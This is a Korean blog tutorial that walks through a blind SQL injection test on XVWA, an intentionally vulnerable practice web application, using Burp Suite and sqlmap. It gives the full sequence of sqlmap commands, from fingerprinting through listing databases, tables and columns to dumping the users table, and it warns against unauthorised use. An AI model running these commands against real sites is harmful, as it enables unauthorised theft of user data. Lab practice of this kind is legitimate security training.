Code::Security/XVWA

취약한 웹 애플리케이션 (XVWA) SQL Injection (Blind) 취약점 진단

태군 코드 2018. 9. 4. 15:01
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.


Blind SQL Injection은 SQL Injection 과 같이 원하는 데이터를 가져올 쿼리를 삽입하는 공격 방법 입니다. 여기서 SQL Injection 과 다른점은 SQL Injection은 쿼리를 삽입하여 원하는 데이터를 한번에 얻어낼 수 있는 반면에 Blind SQL Injection은 참과 거짓, 쿼리가 참일때와 거짓일 때의 서버의 반응 만으로 데이터를 얻어내는 방식 입니다.



XVWA 취약점 진단 페이지의 Blind SQL Injection 화면 입니다. 여기서는 버프스위트와, SQLMAP을 사용하여 테스트를 해보도록 하겠습니다.


버스스위트 설명 및 SQLMAP 설치 방법등은 해당 블로그의 게시물을 확인해 주시기 바랍니다.


■ 테이블과 필드의 정의를 알아보도록 하겠습니다.


- information_schema.schemata : 데이터베이스와 관련된 정보를 가진 테이블


- schema_name : 모든 데이터베이스의 이름 값을 가진 필드


- information_schema_tables : 테이블과 관련된 정보를 가진 테이블


- tables_name : 모든 테이블의 이름 값을 가진 필드


- information_schema.columns : 필드와 관련된 정보를 가진 테이블


- column_name : 모든 필드의 이름 값을 가진 필드


■ Union 구문을 통한 DB 구조파악 순서


- order by를 통한 column 갯수 확인


- DB 버전 정보 확인


- database 정보 확인


- table 정보 확인


- column 정보 확인


- recode 정보 확인



먼저 해당 웹페이지의 [Select Item Code] 값을 1번을 선택하여 버프스위트에서 프록시를 잡은 화면 입니다. 여기서 보시면 아시겠지만 GET 방식이 아닌 POST 방식을 사용하고 있는 것을 알수 있습니다. 다음과 같이 프록시를 잡으셨다면 밑에 보이시는 [item=1] 부분을 복사하여 메모장에 붙여 넣습니다.



SQLMAP 을 사용하여 기본 정보를 확인하여 보았습니다.


--data

HTTP 메소드중 Get 메소드가 아닌 POST 요청으로 전송할때 사용 합니다.


명령어

- sqlmap.py -u "http://자신의 IP/xvwa/vulnerabilities/sqli_blind/" --data="item=1&search=" -v 5


정보를 확인해 보면 DBMS - MySQL, OS - Windows, application - PHP 5.6.0, Apache 2.4.10 인것을 알수 있습니다.



해당시스템의 DB 정보를 확인해 보았습니다.


명령어

- sqlmap.py -u "http://자신의 IP/xvwa/vulnerabilities/sqli_blind/" --data="item=1&search=" --dbs


확인결과 우리가 원하는 xvwa 를 확인할수 있습니다.



xvwa DB의 테이블 정보 입니다.


명령어

- sqlmap.py -u "http://자신의 IP/xvwa/vulnerabilities/sqli_blind/" --data="item=1&search=" -D xvwa --table


이제 여기서 users 테이블의 컬럼 정보를 확인해 보도록 하겠습니다.



users 테이블의 컬럼 정보 입니다.


명령어

- sqlmap.py -u "http://자신의 IP/xvwa/vulnerabilities/sqli_blind/" --data="item=1&search=" -D xvwa -T users --columns



Dump 명령어를 통해 정보를 출력한 모습입니다.


명령어

- sqlmap.py -u "http://자신의 IP/xvwa/vulnerabilities/sqli_blind/" --data="item=1&search=" -D xvwa -T users --dump


다음과 같이 취약점이 있을경우 DB 정보를 획득하여 사용자의 정보를 알아 낼수 있습니다.


테스트는 꼭 검증된 사이트에서 해주시기 바라며, 허용 되지 않은 서비스를 대상으로 공격 시도시 법적인 책임을 받을수 있으니 이점 유의하시기 바랍니다.


반응형